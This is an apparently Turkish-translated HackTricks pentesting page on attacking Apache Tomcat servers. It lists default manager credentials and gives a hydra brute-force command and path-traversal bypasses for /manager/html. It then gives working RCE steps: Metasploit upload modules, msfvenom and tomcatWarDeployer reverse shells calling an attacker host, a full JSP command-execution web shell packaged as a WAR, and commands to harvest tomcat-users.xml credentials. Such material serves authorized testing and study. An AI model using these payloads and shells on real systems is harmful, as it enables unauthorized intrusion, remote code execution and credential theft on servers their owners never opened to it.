Tomcat

AWS hacklemeyi sıfırdan kahramana öğrenin htARTE (HackTricks AWS Red Team Expert) ile!

Try Hard Security Group


Keşif

  • Genellikle 8080 numaralı portta çalışır

  • Yaygın Tomcat hatası:

Numaralandırma

Sürüm Tanımlama

Apache Tomcat sürümünü bulmak için basit bir komut çalıştırılabilir:

curl -s http://tomcat-site.local:8080/docs/ | grep Tomcat

Yönetici Dosyaları Konumu

/manager ve /host-manager dizinlerinin tam konumlarını belirlemek önemlidir çünkü isimleri değiştirilmiş olabilir. Bu sayfaları bulmak için kaba kuvvet araması önerilir.

Kullanıcı Adı Numaralandırma

Tomcat sürümü 6'dan eski olan sürümlerde kullanıcı adları numaralandırılabilir:

msf> use auxiliary/scanner/http/tomcat_enum

Varsayılan Kimlik Bilgileri

/manager/html dizini özellikle hassas bir alandır çünkü WAR dosyalarının yüklenmesine ve dağıtılmasına izin verir, bu da kod yürütmeyle sonuçlanabilir. Bu dizin temel HTTP kimlik doğrulaması ile korunmaktadır ve yaygın kimlik bilgileri şunlardır:

  • admin:admin

  • tomcat:tomcat

  • admin:

  • admin:s3cr3t

  • tomcat:s3cr3t

  • admin:tomcat

Bu kimlik bilgileri şu şekilde test edilebilir:

msf> use auxiliary/scanner/http/tomcat_mgr_login

Başka dikkate değer bir dizin /manager/status 'dur, bu Tomcat ve işletim sistemi sürümünü gösterir ve zafiyet tespitine yardımcı olur.

Kaba Kuvvet Saldırısı

Yönetici dizinine kaba kuvvet saldırısı yapmak için şunu kullanabilirsiniz:

hydra -L users.txt -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt -f 10.10.10.64 http-get /manager/html

Ortak Zayıflıklar

Şifre Geri İzleme Açığı

/auth.jsp'ye erişmek şanslı durumlarda şifreyi geri izleme altında ortaya çıkarabilir.

Çift URL Kodlama

mod_jk içindeki CVE-2007-1860 zayıflığı, çift URL kodlama yol gezintisi sağlar ve özel olarak oluşturulmuş bir URL aracılığıyla yönetim arayüzüne izinsiz erişime olanak tanır.

Tomcat yönetim web arayüzüne erişmek için şu adrese gidin: pathTomcat/%252E%252E/manager/html

/örnekler

Apache Tomcat sürümleri 4.x ile 7.x arasında, bilgi sızdırılmasına ve cross-site scripting (XSS) saldırılarına duyarlı örnek betikler içerir. Bu detaylı olarak listelenen betikler, izinsiz erişim ve potansiyel istismar için kontrol edilmelidir. Daha fazla bilgi için buraya bakın

  • /examples/jsp/num/numguess.jsp

  • /examples/jsp/dates/date.jsp

  • /examples/jsp/snp/snoop.jsp

  • /examples/jsp/error/error.html

  • /examples/jsp/sessions/carts.html

  • /examples/jsp/checkbox/check.html

  • /examples/jsp/colors/colors.html

  • /examples/jsp/cal/login.html

  • /examples/jsp/include/include.jsp

  • /examples/jsp/forward/forward.jsp

  • /examples/jsp/plugin/plugin.jsp

  • /examples/jsp/jsptoserv/jsptoservlet.jsp

  • /examples/jsp/simpletag/foo.jsp

  • /examples/jsp/mail/sendmail.jsp

  • /examples/servlet/HelloWorldExample

  • /examples/servlet/RequestInfoExample

  • /examples/servlet/RequestHeaderExample

  • /examples/servlet/RequestParamExample

  • /examples/servlet/CookieExample

  • /examples/servlet/JndiServlet

  • /examples/servlet/SessionExample

  • /tomcat-docs/appdev/sample/web/hello.jsp

Yol Gezintisi Sömürüsü

Bazı Tomcat'ın zayıf yapılandırmalarında /..;/ yolunu kullanarak Tomcat'taki korunan dizinlere erişebilirsiniz.

Örneğin, Tomcat yöneticisine erişebilirsiniz www.zayıf.com/lalala/..;/manager/html adresine erişerek.

Bu hileyi kullanarak korunan yolları atlaymanın başka bir yolu şudur: http://www.zayıf.com/;param=value/manager/html adresine erişmek.

Uzaktan Kod Çalıştırma (RCE)

Son olarak, Tomcat Web Uygulama Yöneticisine erişiminiz varsa, bir .war dosyası yükleyip dağıtabilirsiniz (kod çalıştırın).

Sınırlamalar

Yeterli ayrıcalıklarınız varsa (roller: admin, manager ve manager-script), yalnızca bir WAR dağıtabilirsiniz. Bu ayrıntılar genellikle /usr/share/tomcat9/etc/tomcat-users.xml içinde tanımlanır (sürümler arasında değişebilir) (bkz. POST bölümü).

# tomcat6-admin (debian) or tomcat6-admin-webapps (rhel) has to be installed

# deploy under "path" context path
curl --upload-file monshell.war -u 'tomcat:password' "http://localhost:8080/manager/text/deploy?path=/monshell"

# undeploy
curl "http://tomcat:Password@localhost:8080/manager/text/undeploy?path=/monshell"

Metasploit

Metasploit

use exploit/multi/http/tomcat_mgr_upload
msf exploit(multi/http/tomcat_mgr_upload) > set rhost <IP>
msf exploit(multi/http/tomcat_mgr_upload) > set rport <port>
msf exploit(multi/http/tomcat_mgr_upload) > set httpusername <username>
msf exploit(multi/http/tomcat_mgr_upload) > set httppassword <password>
msf exploit(multi/http/tomcat_mgr_upload) > exploit

MSFVenom Ters Kabuk

  1. Yayınlamak için war oluşturun:

msfvenom -p java/jsp_shell_reverse_tcp LHOST=<LHOST_IP> LPORT=<LHOST_IP> -f war -o revshell.war
  1. revshell.war dosyasını yükleyin ve erişim sağlayın (/revshell/):

tomcatWarDeployer.py ile bağlantı ve ters kabuk oluşturun

Bazı senaryolarda bu çalışmaz (örneğin eski sun sürümleri)

İndir

git clone https://github.com/mgeeky/tomcatWarDeployer.git

Ters kabuk

./tomcatWarDeployer.py -U <username> -P <password> -H <ATTACKER_IP> -p <ATTACKER_PORT> <VICTIM_IP>:<VICTIM_PORT>/manager/html/

Bağlama kabuğu

./tomcatWarDeployer.py -U <username> -P <password> -p <bind_port> <victim_IP>:<victim_PORT>/manager/html/

Culsterd Kullanımı

clusterd.py -i 192.168.1.105 -a tomcat -v 5.5 --gen-payload 192.168.1.6:4444 --deploy shell.war --invoke --rand-payload -o windows

Manuel yöntem - Web kabuğu

Aşağıdaki içerik ile index.jsp oluşturun:

<FORM METHOD=GET ACTION='index.jsp'>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
String output = "";
if(cmd != null) {
String s = null;
try {
Process p = Runtime.getRuntime().exec(cmd,null,null);
BufferedReader sI = new BufferedReader(new
InputStreamReader(p.getInputStream()));
while((s = sI.readLine()) != null) { output += s+"</br>"; }
}  catch(IOException e) {   e.printStackTrace();   }
}
%>
<pre><%=output %></pre>
mkdir webshell
cp index.jsp webshell
cd webshell
jar -cvf ../webshell.war *
webshell.war is created
# Upload it

Manuel Yöntem 2

Bir JSP web kabuğu edinin, örneğin bu ve bir WAR dosyası oluşturun:

wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp
zip -r backup.war cmd.jsp
# When this file is uploaded to the manager GUI, the /backup application will be added to the table.
# Go to: http://tomcat-site.local:8180/backup/cmd.jsp

POST

Tomcat kimlik bilgileri dosyasının adı tomcat-users.xml

find / -name tomcat-users.xml 2>/dev/null

Diğer Tomcat kimlik bilgilerini toplama yöntemleri:

msf> use post/multi/gather/tomcat_gather
msf> use post/windows/gather/enum_tomcat

Diğer tomcat tarama araçları

Referanslar

Try Hard Security Group

Sıfırdan kahraman olacak şekilde AWS hackleme konusunda öğrenin htARTE (HackTricks AWS Red Team Expert)!

Last updated